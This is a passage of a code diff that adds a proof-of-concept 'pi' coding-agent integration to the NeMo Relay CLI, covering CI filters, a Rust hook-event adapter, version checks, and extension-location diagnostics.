diff --git a/.github/ci-path-filters.yml b/.github/ci-path-filters.yml index d0efde810..adabdb232 100644 --- a/.github/ci-path-filters.yml +++ b/.github/ci-path-filters.yml @@ -190,6 +190,21 @@ node: openclaw: - 'integrations/openclaw/**' +# The pi extension is a hook client for the CLI gateway, so a change to the +# adapter it posts against should re-run the extension's own suite. +# +# Only the adapter paths are listed, deliberately. `test-pi` is a TypeScript +# typecheck plus Node tests against a *stub* gateway, so it cannot observe the +# `/hooks/pi` route, the event classifier, or the session manager no matter what +# changes there -- and `crates/cli/src/sessions/**` alone would put a full Node +# matrix on nearly every CLI change. Those files are covered by the `rust` +# filter, which matches every `crates/**/*.rs` file and runs the workspace tests +# that exercise the route for real. +pi: + - 'crates/cli/src/agents/pi/**' + - 'crates/cli/src/agents/shared/adapters.rs' + - 'integrations/pi/**' + python: - 'crates/python/Cargo.toml' - 'crates/python/src/**' diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index ae107c9c1..03d0fa614 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -175,6 +175,7 @@ jobs: ref_name: ${{ github.ref_name }} run_package: ${{ needs.ci_changes.outputs.run_node_package == 'true' }} run_openclaw: ${{ needs.ci_changes.outputs.run_openclaw == 'true' }} + run_pi: ${{ needs.ci_changes.outputs.run_pi == 'true' }} ci_python: name: Python diff --git a/.github/workflows/ci_changes.yml b/.github/workflows/ci_changes.yml index 0d7ea81c7..e6eb7b43b 100644 --- a/.github/workflows/ci_changes.yml +++ b/.github/workflows/ci_changes.yml @@ -48,6 +48,9 @@ on: run_openclaw: description: 'Whether OpenClaw integration jobs should run' value: ${{ jobs.changes.outputs.run_openclaw }} + run_pi: + description: 'Whether pi integration jobs should run' + value: ${{ jobs.changes.outputs.run_pi }} run_python: description: 'Whether Python jobs should run' value: ${{ jobs.changes.outputs.run_python }} @@ -77,9 +80,10 @@ jobs: run_docs: ${{ (inputs.full_ci || startsWith(inputs.ref_name, 'pull-request/')) && (inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.docs == 'true') }} run_go: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.go == 'true' }} run_installer: ${{ inputs.full_ci || steps.filter.outputs.installer == 'true' }} - run_node: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.node == 'true' || steps.filter.outputs.openclaw == 'true' }} + run_node: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.node == 'true' || steps.filter.outputs.openclaw == 'true' || steps.filter.outputs.pi == 'true' }} run_node_package: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.node_package == 'true' }} run_openclaw: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.node == 'true' || steps.filter.outputs.openclaw == 'true' }} + run_pi: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.node == 'true' || steps.filter.outputs.pi == 'true' }} run_python: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.python == 'true' }} run_python_integration_langchain: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.shared == 'true' || steps.filter.outputs.python_integration_langchain == 'true' }} run_python_package: ${{ inputs.full_ci || steps.filter.outputs.ci == 'true' || steps.filter.outputs.python_package == 'true' }} diff --git a/.github/workflows/ci_node.yml b/.github/workflows/ci_node.yml index c2c5581ef..5d5401cd2 100644 --- a/.github/workflows/ci_node.yml +++ b/.github/workflows/ci_node.yml @@ -24,6 +24,11 @@ on: required: false default: false type: boolean + run_pi: + description: 'Whether to run pi integration checks' + required: false + default: false + type: boolean secrets: CODECOV_TOKEN: required: false @@ -122,6 +127,11 @@ jobs: working-directory: ${{ env.NEMO_RELAY_CI_WORKSPACE }} run: just --set ci true test-openclaw + - name: Run pi integration checks + if: ${{ inputs.run_pi }} + working-directory: ${{ env.NEMO_RELAY_CI_WORKSPACE }} + run: just --set ci true test-pi + - name: Upload Node coverage to Codecov uses: codecov/codecov-action@57e3a136b779b570ffcdbf80b3bdc90e7fab3de2 # v6 if: ${{ !startsWith(matrix.platform, 'windows') }} diff --git a/.gitignore b/.gitignore index 61814f76c..2fa985d81 100644 --- a/.gitignore +++ b/.gitignore @@ -86,3 +86,6 @@ CHANGELOG.md # Relay /.nemo-relay /artifacts/ + +# Generated per machine by the dynamic-plugin recipe: local dylib name + sha256. +examples/**/relay-plugin.local.toml diff --git a/README.md b/README.md index 3a033090d..8483bc678 100644 --- a/README.md +++ b/README.md @@ -315,6 +315,7 @@ coverage. |:--|:--:|:--:|:--:|:--| | Claude Code | Yes | Yes | Partial | Hook forwarding, pre-tool blocking, and gateway-routed LLM observability are supported. | | Codex | Yes | Yes | Partial | Persistent install verifies the exact plugin hooks. Each `Stop` finalizes a turn snapshot; the supported generated schema does not install `SessionEnd`. | +| pi | Partial | Yes | No | Proof of concept. A Relay-authored pi extension forwards tool and turn activity, gates tool calls, and points the active model's provider at the gateway when the gateway fronts that provider — which is what enables model-call enforcement and LLM spans. | | Hermes Agent | Yes | Yes | Partial | NeMo Relay is built into Hermes Agent, and Hermes Agent understands NeMo Relay plugin configurations. No separate observability plugin or Relay CLI setup is required. | ### Public API Integrations diff --git a/crates/cli/src/agents/claude/adapter.rs b/crates/cli/src/agents/claude/adapter.rs index ed1cdde98..25753137a 100644 --- a/crates/cli/src/agents/claude/adapter.rs +++ b/crates/cli/src/agents/claude/adapter.rs @@ -38,6 +38,12 @@ pub(crate) fn adapt(payload: Value, headers: &HeaderMap) -> AdapterOutcome { "PermissionDenied", "permissionDenied", ], + // Claude Code reports only the close of a turn (`Stop`); its turns stay + // lazily opened, and `PreCompact`/`PostCompact` are matched by the + // shared fallback rather than by an adapter-specific rule. + turn_start: &[], + turn_end: &["Stop", "stop"], + compaction: &[], }, ); // Response shape is decided by the primary event (first in the vec); secondary events like diff --git a/crates/cli/src/agents/claude/mod.rs b/crates/cli/src/agents/claude/mod.rs index cb39a3295..b171b3811 100644 --- a/crates/cli/src/agents/claude/mod.rs +++ b/crates/cli/src/agents/claude/mod.rs @@ -19,6 +19,7 @@ pub(super) const DESCRIPTOR: AgentDescriptor = AgentDescriptor { hook_path: "/hooks/claude-code", version_product: "Claude Code", minimum_version: (2, 1, 121), + verified_through: None, hook_events: &[ "SessionStart", "UserPromptSubmit", diff --git a/crates/cli/src/agents/codex/adapter.rs b/crates/cli/src/agents/codex/adapter.rs index 536f778ba..cc059c611 100644 --- a/crates/cli/src/agents/codex/adapter.rs +++ b/crates/cli/src/agents/codex/adapter.rs @@ -27,6 +27,12 @@ pub(crate) fn adapt(payload: Value, headers: &HeaderMap) -> AdapterOutcome { subagent_end: &["subagentStop", "subagentEnd", "subagent_stop"], tool_start: &["preToolUse", "toolStarted", "tool_start"], tool_end: &["postToolUse", "toolEnded", "tool_end", "toolFailed"], + // Codex reports only the close of a turn (`Stop`); its turns stay + // lazily opened, and `PreCompact`/`PostCompact` are matched by the + // shared fallback rather than by an adapter-specific rule. + turn_start: &[], + turn_end: &["Stop", "stop"], + compaction: &[], }, ); AdapterOutcome { diff --git a/crates/cli/src/agents/codex/mod.rs b/crates/cli/src/agents/codex/mod.rs index 542515982..bf54f8378 100644 --- a/crates/cli/src/agents/codex/mod.rs +++ b/crates/cli/src/agents/codex/mod.rs @@ -20,6 +20,7 @@ pub(super) const DESCRIPTOR: AgentDescriptor = AgentDescriptor { hook_path: "/hooks/codex", version_product: "codex-cli", minimum_version: (0, 143, 0), + verified_through: None, hook_events: &[ "SessionStart", "UserPromptSubmit", diff --git a/crates/cli/src/agents/mod.rs b/crates/cli/src/agents/mod.rs index 133b8ad98..88b722162 100644 --- a/crates/cli/src/agents/mod.rs +++ b/crates/cli/src/agents/mod.rs @@ -5,6 +5,7 @@ pub(crate) mod claude; pub(crate) mod codex; +pub(crate) mod pi; pub(crate) mod shared; use semver::Version; @@ -15,6 +16,7 @@ pub(crate) enum CodingAgent { /// `claude-code` remains an input alias for older Relay configuration. ClaudeCode, Codex, + Pi, } #[derive(Debug, Clone, Copy)] @@ -26,16 +28,46 @@ pub(super) struct AgentDescriptor { hook_path: &'static str, version_product: &'static str, minimum_version: (u64, u64, u64), + /// The last `major.minor` this integration was actually verified against, for a + /// host whose minor releases can break the hook contract. + /// + /// `None` means the floor behaves like a floor: newer minors are additive and + /// nothing above it needs reporting. `Some` means the opposite -- above it, the + /// integration is untested rather than known-good, and saying so is the whole + /// point, because the failure it guards against is silent. + verified_through: Option<(u64, u64)>, hook_events: &'static [&'static str], } +/// Why pi has no marketplace-plugin implementation. +/// +/// Codex and Claude Code both install NeMo Relay through a plugin marketplace +/// (`codex plugin add`, `claude plugin install`) backed by a generated manifest. +/// pi has none of that: it has no `pi plugin` verb, no marketplace, and no MCP +/// client for a plugin-owned server to serve. Extensions are installed with +/// `pi install ` or by placing a file in an auto-discovered directory. +/// +/// Rather than synthesize manifests pi will never read, the marketplace surface +/// rejects pi explicitly and the gateway surface (hooks, launch, doctor) is +/// implemented for real. +pub(crate) const PI_MARKETPLACE_UNSUPPORTED: &str = "pi has no plugin marketplace; install the NeMo Relay pi extension with `pi install ` \ + or place it in `~/.pi/agent/extensions/`, then run pi through `nemo-relay run --agent pi`"; + +/// Reached only if a marketplace code path forgets to reject pi first. +macro_rules! pi_marketplace_unreachable { + () => { + unreachable!("{}", PI_MARKETPLACE_UNSUPPORTED) + }; +} + impl CodingAgent { - pub(crate) const ALL: [Self; 2] = [Self::ClaudeCode, Self::Codex]; + pub(crate) const ALL: [Self; 3] = [Self::ClaudeCode, Self::Codex, Self::Pi]; const fn descriptor(self) -> AgentDescriptor { match self { Self::ClaudeCode => claude::DESCRIPTOR, Self::Codex => codex::DESCRIPTOR, + Self::Pi => pi::DESCRIPTOR, } } @@ -104,10 +136,32 @@ impl CodingAgent { Ok(version) } + /// Why a version passes the floor and is still not one we have run against. + /// + /// Deliberately not folded into `validate_version_output`: that returns an error, + /// and an error blocks the launch (`process::launcher::validate_agent_version`). + /// Refusing to start on a version that probably works would be worse than the + /// silence it replaces -- the user would have to downgrade the agent to use + /// Relay at all. This reports; it does not gate. + pub(crate) fn unverified_version(self, version: &Version) -> Option { + let (major, minor) = self.descriptor().verified_through?; + if (version.major, version.minor) <= (major, minor) { + return None; + } + Some(format!( + "{product} {version} is newer than the {product} {major}.{minor}.x this integration \ + was verified against; {product} can change hook shapes in a minor release, and the \ + symptom is missing spans rather than an error. Re-verify, or pin {product} {major}.\ + {minor}.x", + product = self.descriptor().version_product, + )) + } + fn parse_version(self, raw: &str) -> Option { match self { Self::ClaudeCode => claude::parse_version(raw), Self::Codex => codex::parse_version(raw), + Self::Pi => pi::parse_version(raw), } } @@ -129,6 +183,7 @@ impl CodingAgent { match name { "claude" | "claude-code" => Some(Self::ClaudeCode), "codex" => Some(Self::Codex), + "pi" => Some(Self::Pi), _ => None, } } @@ -159,6 +214,7 @@ impl crate::installation::marketplace::MarketplaceHost for CodingAgent { match self { Self::Codex => &[".agents", "plugins", "marketplace.json"], Self::ClaudeCode => &[".claude-plugin", "marketplace.json"], + Self::Pi => pi_marketplace_unreachable!(), } } @@ -166,6 +222,7 @@ impl crate::installation::marketplace::MarketplaceHost for CodingAgent { match self { Self::Codex => &[".codex-plugin", "plugin.json"], Self::ClaudeCode => &[".claude-plugin", "plugin.json"], + Self::Pi => pi_marketplace_unreachable!(), } } @@ -206,6 +263,7 @@ impl crate::installation::marketplace::MarketplaceHost for CodingAgent { "--scope".into(), "user".into(), ], + Self::Pi => pi_marketplace_unreachable!(), } } @@ -213,6 +271,7 @@ impl crate::installation::marketplace::MarketplaceHost for CodingAgent { match self { Self::Codex => vec!["plugin".into(), "remove".into(), plugin_id.into()], Self::ClaudeCode => vec!["plugin".into(), "uninstall".into(), plugin_name.into()], + Self::Pi => pi_marketplace_unreachable!(), } } @@ -228,6 +287,7 @@ impl crate::installation::marketplace::MarketplaceHost for CodingAgent { Self::ClaudeCode => { crate::installation::marketplace::host::claude_registration_report(options, runner) } + Self::Pi => Err(PI_MARKETPLACE_UNSUPPORTED.to_string()), } } @@ -243,6 +303,7 @@ impl crate::installation::marketplace::MarketplaceHost for CodingAgent { Self::ClaudeCode => format!( "cannot safely replace or uninstall an existing Claude Code plugin because its MCP generation marker {problem}; close all Claude Code clients and standalone `nemo-relay mcp` processes, run `claude plugin uninstall nemo-relay-plugin` and `claude plugin marketplace remove nemo-relay-local`, remove the stale marketplace and state from the selected install directory, then run `nemo-relay install claude-code --force` to create a fenced install (and `nemo-relay uninstall claude-code` afterward if removal was intended)" ), + Self::Pi => pi_marketplace_unreachable!(), } } @@ -268,6 +329,8 @@ impl crate::installation::marketplace::MarketplaceHost for CodingAgent { || plugin_root.join(".mcp.json").exists() || generation_fence.exists() } + // pi installs nothing through this surface, so nothing to detect. + Self::Pi => false, } } @@ -329,6 +392,7 @@ pub(crate) fn marketplace_manifest( match agent { CodingAgent::Codex => codex::assets::marketplace_manifest(marketplace, plugin), CodingAgent::ClaudeCode => claude::assets::marketplace_manifest(marketplace, plugin), + CodingAgent::Pi => pi_marketplace_unreachable!(), } } @@ -336,6 +400,7 @@ pub(crate) fn plugin_manifest(agent: CodingAgent, plugin: &str) -> serde_json::V match agent { CodingAgent::Codex => codex::assets::plugin_manifest(plugin), CodingAgent::ClaudeCode => claude::assets::plugin_manifest(plugin), + CodingAgent::Pi => pi_marketplace_unreachable!(), } } @@ -346,6 +411,8 @@ pub(crate) fn plugin_mcp_config( match agent { CodingAgent::Codex => codex::assets::mcp_config(server), CodingAgent::ClaudeCode => Ok(claude::assets::mcp_config(server)), + // pi ships no MCP client, so a plugin-owned server would have no consumer. + CodingAgent::Pi => Err(PI_MARKETPLACE_UNSUPPORTED.to_string()), } } @@ -361,7 +428,7 @@ pub(crate) fn prepare_launch( agent: CodingAgent, launch: &mut crate::process::PreparedAgentLaunch, gateway_url: &str, - _resolved: &crate::configuration::ResolvedConfig, + resolved: &crate::configuration::ResolvedConfig, proxy_credential: &crate::provider_auth::TransparentProxyCredential, dry_run: bool, ) -> Result<(), crate::error::CliError> { @@ -374,6 +441,10 @@ pub(crate) fn prepare_launch( CodingAgent::ClaudeCode => { claude::launch::prepare(launch, gateway_url, proxy_credential, dry_run) } + // pi is the only agent whose launcher needs the gateway's upstream configuration: its + // extension redirects model traffic only when the selected model already targets that + // upstream. See `pi::launch::prepare`. + CodingAgent::Pi => pi::launch::prepare(launch, gateway_url, &resolved.gateway), } } @@ -388,6 +459,7 @@ pub(crate) const fn config( match agent { CodingAgent::ClaudeCode => &configs.claude, CodingAgent::Codex => &configs.codex, + CodingAgent::Pi => &configs.pi, } } @@ -398,6 +470,7 @@ pub(crate) fn hook_status( match agent { CodingAgent::Codex => codex::doctor::hook_status(), CodingAgent::ClaudeCode => claude::doctor::hook_status(), + CodingAgent::Pi => pi::doctor::hook_status(), } } @@ -428,6 +501,7 @@ pub(crate) fn snapshot_setup(agent: CodingAgent) -> Result snapshot_codex_setup().map(SetupSnapshot::Codex), CodingAgent::ClaudeCode => snapshot_claude_setup().map(SetupSnapshot::Claude), + CodingAgent::Pi => Err(PI_MARKETPLACE_UNSUPPORTED.to_string()), } } @@ -449,6 +523,7 @@ pub(crate) fn setup_marketplace_plugin( install_codex_plugin_with_generation(gateway_url, plugin_root, generation_token) } CodingAgent::ClaudeCode => enable_claude_provider(gateway_url), + CodingAgent::Pi => Err(PI_MARKETPLACE_UNSUPPORTED.to_string()), } } @@ -460,6 +535,7 @@ pub(crate) fn uninstall_marketplace_plugin( match agent { CodingAgent::Codex => uninstall_codex_plugin(gateway_url, plugin_root), CodingAgent::ClaudeCode => restore_claude_provider(gateway_url), + CodingAgent::Pi => Err(PI_MARKETPLACE_UNSUPPORTED.to_string()), } } @@ -477,6 +553,7 @@ pub(crate) fn doctor_marketplace_plugin( generation_token, ), CodingAgent::ClaudeCode => doctor_plugin(CodingAgent::ClaudeCode, gateway_url, plugin_root), + CodingAgent::Pi => Err(PI_MARKETPLACE_UNSUPPORTED.to_string()), } } @@ -490,6 +567,7 @@ pub(crate) fn doctor_marketplace_plugin_json( CodingAgent::ClaudeCode => { doctor_plugin_json(CodingAgent::ClaudeCode, gateway_url, plugin_root) } + CodingAgent::Pi => Err(PI_MARKETPLACE_UNSUPPORTED.to_string()), } } @@ -500,6 +578,9 @@ pub(crate) fn install_integration( match agent { CodingAgent::Codex => codex::install::install(command), CodingAgent::ClaudeCode => claude::install::install(command), + CodingAgent::Pi => Err(crate::error::CliError::Install( + PI_MARKETPLACE_UNSUPPORTED.to_string(), + )), } } @@ -510,6 +591,9 @@ pub(crate) fn uninstall_integration( match agent { CodingAgent::Codex => codex::install::uninstall(command), CodingAgent::ClaudeCode => claude::install::uninstall(command), + CodingAgent::Pi => Err(crate::error::CliError::Install( + PI_MARKETPLACE_UNSUPPORTED.to_string(), + )), } } @@ -789,6 +873,21 @@ pub(crate) fn doctor_plugin_json( Some(trust), ) } + // pi's hooks live inside a user-loaded extension rather than in a + // NeMo Relay-managed plugin root, so the only checkable fact here is + // whether that extension is discoverable. + CodingAgent::Pi => { + let extension = pi::doctor::extension_configured(); + ( + json!({ + "plugin_binary": plugin_binary, + "sidecar_running": sidecar_running, + "pi_extension_located": extension + }), + plugin_binary && extension, + None, + ) + } }; let mut report = json!({ "ok": ok, @@ -848,6 +947,10 @@ fn doctor_ok( print_info("codex hook trust", &trust.summary()); } } + CodingAgent::Pi => { + ok &= print_check("pi extension located", pi::doctor::extension_configured()); + print_info("pi hooks", &pi::doctor::hook_status()?); + } } Ok(ok) } diff --git a/crates/cli/src/agents/pi/adapter.rs b/crates/cli/src/agents/pi/adapter.rs new file mode 100644 index 000000000..048c3ee9f --- /dev/null +++ b/crates/cli/src/agents/pi/adapter.rs @@ -0,0 +1,112 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +use axum::http::HeaderMap; +use serde_json::{Value, json}; + +use crate::agents::shared::adapters::{ + AdapterOutcome, ClassificationRules, PI_PAYLOAD_EXTRACTOR, classify, +}; +use crate::events::AgentKind; +use crate::sessions::HookEffects; + +/// Normalizes pi extension hook payloads and returns the response the extension expects. +/// +/// The response body is deliberately minimal. A tool call is *allowed* by this +/// endpoint returning 2xx; it is *blocked* by `apply_events` failing the +/// conditional-execution guardrail chain, which surfaces as HTTP 403 with +/// `error.type = "nemo_relay_guardrail_rejected"` and the guardrail's own words +/// in `error.reason`. The extension turns that into pi's `{block, reason}`, +/// which pi passes verbatim to the model as an error tool result. +/// +/// Mapping notes: +/// - pi's `session_start`/`session_shutdown` are the session boundary, not +/// `agent_start`/`agent_end`. One pi session can re-enter the agent run many +/// times (provider retry, compaction, queued follow-up), so treating +/// `agent_start` as a session start would open a session per retry. +/// - `agent_settled` is the only pi event that fires exactly once per logical +/// agent run, which makes it the run boundary rather than `agent_end` -- but +/// deliberately *not* a turn boundary: a logical run spans several turns. +/// - pi reports both ends of a turn, so the turn scope opens at `turn_start` +/// instead of being opened implicitly by whichever event arrives first. +/// - `tool_call` is the gating hook and maps to tool start. `tool_execution_start` +/// is deliberately NOT mapped: it fires before validation and before +/// `tool_call`, including for calls that never execute, so using it to open a +/// tool span would create spans for calls pi then discards. +pub(crate) fn adapt(payload: Value, headers: &HeaderMap) -> AdapterOutcome { + let events = classify( + &payload, + headers, + &PI_PAYLOAD_EXTRACTOR, + &ClassificationRules { + kind: AgentKind::Pi, + agent_start: &["session_start", "sessionStart"], + agent_end: &["session_shutdown", "sessionShutdown"], + // pi ships no MCP client and has no nested-agent hook of its own; + // subagents are an extension-level concept it does not surface. + subagent_start: &[], + subagent_end: &[], + // `user_bash` is pi's bang-prefixed inline shell, which never + // reaches the tool registry and so never fires `tool_call`. It is + // gated as a tool start under its own tool name so the same + // conditional-execution guardrail chain decides it; `user_bash_end` + // is synthesized by the extension, because pi reports no completion + // for inline shell. + tool_start: &["tool_call", "toolCall", "user_bash", "userBash"], + tool_end: &[ + "tool_execution_end", + "toolExecutionEnd", + "user_bash_end", + "userBashEnd", + ], + // pi has an explicit turn boundary at both ends, unlike Codex and + // Claude Code which only signal it through `Stop`. Classifying the + // open as well as the close is what stops the gateway inventing a + // turn at whichever event happens to arrive first. + turn_start: &["turn_start", "turnStart"], + // `agent_settled` is deliberately not here: it marks the end of a + // logical agent run, which can span several turns, and closing the + // turn there would merge every re-entry attempt into one. + turn_end: &["turn_end", "turnEnd"], + // Only the *completed* compaction. `session_before_compact` stays a + // mark: it announces an intent that any later-loading extension can + // still cancel, and the runtime treats a compaction event as proof + // the context was actually rebuilt. + compaction: &["session_compact", "sessionCompact"], + }, + ); + AdapterOutcome { + events, + response: json!({}), + } +} + +/// Merge anything the session layer produced into the hook response body. +/// +/// The wire contract the extension implements: +/// +/// - `{}` -- allow, arguments unchanged. Every hook that is not a gated `tool_call` returns this, +/// and so does a `tool_call` no intercept rewrote. +/// - `{"tool_call": {"tool_call_id": "...", "input": {...}}}` -- allow, but execute *these* +/// arguments instead. The extension applies them in place onto pi's `event.input`. +/// - HTTP 403 with `error.type = "nemo_relay_guardrail_rejected"` -- block, reason verbatim. +/// Produced by `CliError::into_response`, not here. +/// +/// `tool_call_id` is echoed so the extension can refuse a body that does not belong to the call it +/// just posted, rather than applying someone else's arguments. +pub(crate) fn response_with_effects(response: Value, effects: &HookEffects) -> Value { + let Some(transform) = effects.tool_argument_transform.as_ref() else { + return response; + }; + let mut response = response; + if let Some(object) = response.as_object_mut() { + object.insert( + "tool_call".into(), + json!({ + "tool_call_id": transform.tool_call_id, + "input": transform.arguments, + }), + ); + } + response +} diff --git a/crates/cli/src/agents/pi/doctor.rs b/crates/cli/src/agents/pi/doctor.rs new file mode 100644 index 000000000..1e50bd25b --- /dev/null +++ b/crates/cli/src/agents/pi/doctor.rs @@ -0,0 +1,816 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Diagnostics for the pi integration. +//! +//! Codex and Claude Code can be checked by inspecting files NeMo Relay wrote +//! (generated hook config, a settings base URL). pi's hooks live inside an +//! extension the user loads, so what is checkable from here is where that +//! extension sits and whether pi will actually load it. +//! +//! **The failure this module exists for is silent.** pi adds project-scoped +//! extensions to its candidate set only when the project is trusted (pi +//! `v0.84.0`, `core/package-manager.ts:2395`), and `-p`, `--mode json` and +//! `--mode rpc` never prompt for trust (`docs/security.md:29`). Under the +//! default policy a +//! project-scoped extension is therefore dropped by a bare conditional -- not +//! by an error path, so it never reaches pi's extension-load error list and pi +//! does not consider it a failure. Nothing reports it, and **the extension +//! cannot report it either**: by construction it is not running. A preflight +//! that reads the filesystem is the only place this can be caught. + +use std::path::{Path, PathBuf}; + +use super::launch::{PI_EXTENSION_PATH_ENV, PI_GATEWAY_URL_ENV}; + +/// pi's per-user configuration root, `~/.pi/agent` unless overridden. +/// +/// Mirrors `getAgentDir()` (pi `v0.84.0`, `config.ts:515-521`), including the +/// environment override, so the preflight looks where pi will actually look. +pub(crate) const PI_AGENT_DIR_ENV: &str = "PI_CODING_AGENT_DIR"; + +/// pi's configuration directory name, from its `piConfig.configDir`. +const PI_CONFIG_DIR: &str = ".pi"; + +/// Where pi records installed packages, in both scopes. +const PI_SETTINGS_FILE: &str = "settings.json"; + +/// This extension's package name -- how it is told apart from anyone else's. +/// Must match `integrations/pi/package.json`. +const RELAY_PACKAGE_NAME: &str = "nemo-relay-pi"; + +/// Gateway URL the extension falls back to when nothing else resolves one. +/// Kept in step with `configFromEnv` in `integrations/pi/src/gateway-client.ts`. +const DEFAULT_GATEWAY_URL: &str = "http://127.0.0.1:4040"; + +/// How pi reaches an extension, which is what decides whether trust gates it. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum ExtensionScope { + /// Passed with `-e`, which is what `nemo-relay run --agent pi` does. Loads + /// first in precedence and is never trust-gated, so it works in every mode. + Explicit, + /// Auto-discovered under the user's own config directory. Not trust-gated. + User, + /// Auto-discovered under the project's `.pi/`. **Trust-gated**, and + /// therefore silently skipped in every non-interactive mode. + Project, +} + +impl ExtensionScope { + /// How this route behaves, in the words the check reports. + pub(crate) fn describe(self) -> &'static str { + match self { + Self::Explicit => "passed with `-e`, which loads first and is never trust-gated", + Self::User => "user scope, which is never trust-gated", + Self::Project => "project scope, which pi loads only for a trusted project", + } + } +} + +/// A place a pi extension was found, and how pi would reach it. +#[derive(Debug, Clone)] +pub(crate) struct ExtensionSite { + pub(crate) path: PathBuf, + pub(crate) scope: ExtensionScope, + /// What pi's own settings do to this copy. + /// + /// A copy pi will not load is installed and still silently absent -- the same failure as the + /// trust gate, from another direction -- so it must not read as a plain Pass. A copy whose + /// filter this check cannot evaluate must not read as one either. + /// + /// `-e` applies no settings filter, so a launch can still use an `Excluded` copy; that is + /// deliberate, and it is why `launchable_extension_path` merely *prefers* a loading one. + pub(crate) filter: SettingsFilter, +} + +impl ExtensionSite { + /// Whether pi loads this copy without help -- what makes it a second copy beside `-e`. + fn loads_on_its_own(&self) -> bool { + self.scope != ExtensionScope::Project && self.filter == SettingsFilter::Loads + } +} + +/// Human-readable hook status for `nemo-relay doctor`. +/// +/// Shares its answer with the load-path check, deliberately. While this read only +/// the environment variable and that scanned directories, one `doctor` run could +/// report "pi extension not located" *and* a passing load path for the same +/// machine, in the same output. +pub(crate) fn hook_status() -> Result { + match relay_extension_sites(¤t_dir()).first() { + Some(site) => Ok(format!( + "NeMo Relay pi extension resolved at {} ({}); hooks are emitted by the extension, \ + not by pi itself", + site.path.display(), + site.scope.describe() + )), + None => Ok(format!( + "NeMo Relay pi extension not located; set {PI_EXTENSION_PATH_ENV}, run \ + `pi install `, or copy it into `~/.pi/agent/extensions/`" + )), + } +} + +/// Whether *this* extension -- not merely some pi extension -- can be found. +pub(crate) fn extension_configured() -> bool { + !relay_extension_sites(¤t_dir()).is_empty() +} + +fn current_dir() -> PathBuf { + std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")) +} + +/// The explicitly configured extension, but only when it is *this* extension. +/// +/// The name check is not redundant with the directory scans below. A stale or +/// mistyped variable that happens to name an existing path -- somebody else's +/// extension, or a checkout that no longer holds ours -- otherwise reported a +/// Pass here *and* made the launcher hand that path to `-e`, so pi loaded code +/// that emits no hooks while every Relay check said the setup was ready. +fn extension_location() -> Option { + std::env::var_os(PI_EXTENSION_PATH_ENV) + .map(PathBuf::from) + .filter(|path| path.exists() && is_relay_extension(path)) +} + +/// The gateway URL the extension will post to. +/// +/// Precedence matters here, and the obvious shortcut is wrong: the extension +/// itself only knows `NEMO_RELAY_PI_GATEWAY_URL` and its own hard-coded default, +/// but the launcher sets that variable *from the resolved configuration*. A +/// preflight that only read the variable would probe `127.0.0.1:4040` for a user +/// who configured a different `bind`, and report their working gateway as down. +/// +/// `bind` is a `SocketAddr`, so it is always a concrete host and port -- a +/// wildcard bind such as `0.0.0.0:4040` is reachable on loopback, which is where +/// pi runs. +pub(crate) fn gateway_url(bind: Option) -> String { + if let Some(url) = std::env::var(PI_GATEWAY_URL_ENV) + .ok() + .map(|url| url.trim_end_matches('/').to_string()) + .filter(|url| !url.is_empty()) + { + return url; + } + match bind { + Some(bind) if bind.ip().is_unspecified() => format!("http://127.0.0.1:{}", bind.port()), + Some(bind) => format!("http://{bind}"), + None => DEFAULT_GATEWAY_URL.to_string(), + } +} + +/// Every place pi could load an extension from, that currently holds one. +/// +/// **Two unrelated routes, and missing either one makes this check lie.** +/// +/// *Auto-discovery* reads `/extensions` and `/.pi/extensions`. +/// Any entry counts; the trust question is a property of the directory, not of +/// the file, so there is nothing to recognize by name. +/// +/// *`pi install`* does not touch those directories at all. It appends the source +/// to a `packages` array in `settings.json` -- `/settings.json` for +/// user scope, `/.pi/settings.json` for `--local` -- and for a local path +/// copies nothing whatsoever. Scanning only the extension directories therefore +/// reported "no pi extension found" to a user who had just run the install +/// command the docs recommend, and could not see a trust-gated `--local` entry +/// at all, which is the case this whole module exists to catch. +pub(crate) fn relay_extension_sites(cwd: &Path) -> Vec { + let mut sites = Vec::new(); + if let Some(path) = extension_location() { + sites.push(ExtensionSite { + path, + scope: ExtensionScope::Explicit, + filter: SettingsFilter::Loads, + }); + } + let discovered = |sites: &mut Vec, dir: &Path, scope| { + sites.extend( + relay_entries_in_directory(dir) + .into_iter() + .map(|path| ExtensionSite { + path, + scope, + filter: SettingsFilter::Loads, + }), + ); + }; + let recorded = |sites: &mut Vec, settings: &Path, scope| { + sites.extend( + relay_packages_in_settings(settings) + .into_iter() + .map(|install| ExtensionSite { + path: install.path, + scope, + filter: install.filter, + }), + ); + }; + let listed = |sites: &mut Vec, settings: &Path, base: &Path, scope| { + sites.extend( + relay_extensions_listed_in_settings(settings, base) + .into_iter() + .map(|install| ExtensionSite { + path: install.path, + scope, + filter: install.filter, + }), + ); + }; + if let Some(dir) = user_extensions_dir() { + discovered(&mut sites, &dir, ExtensionScope::User); + } + if let Some(agent_dir) = pi_agent_dir() { + listed( + &mut sites, + &agent_dir.join(PI_SETTINGS_FILE), + &agent_dir, + ExtensionScope::User, + ); + } + if let Some(settings) = user_settings_path() { + recorded(&mut sites, &settings, ExtensionScope::User); + } + discovered( + &mut sites, + 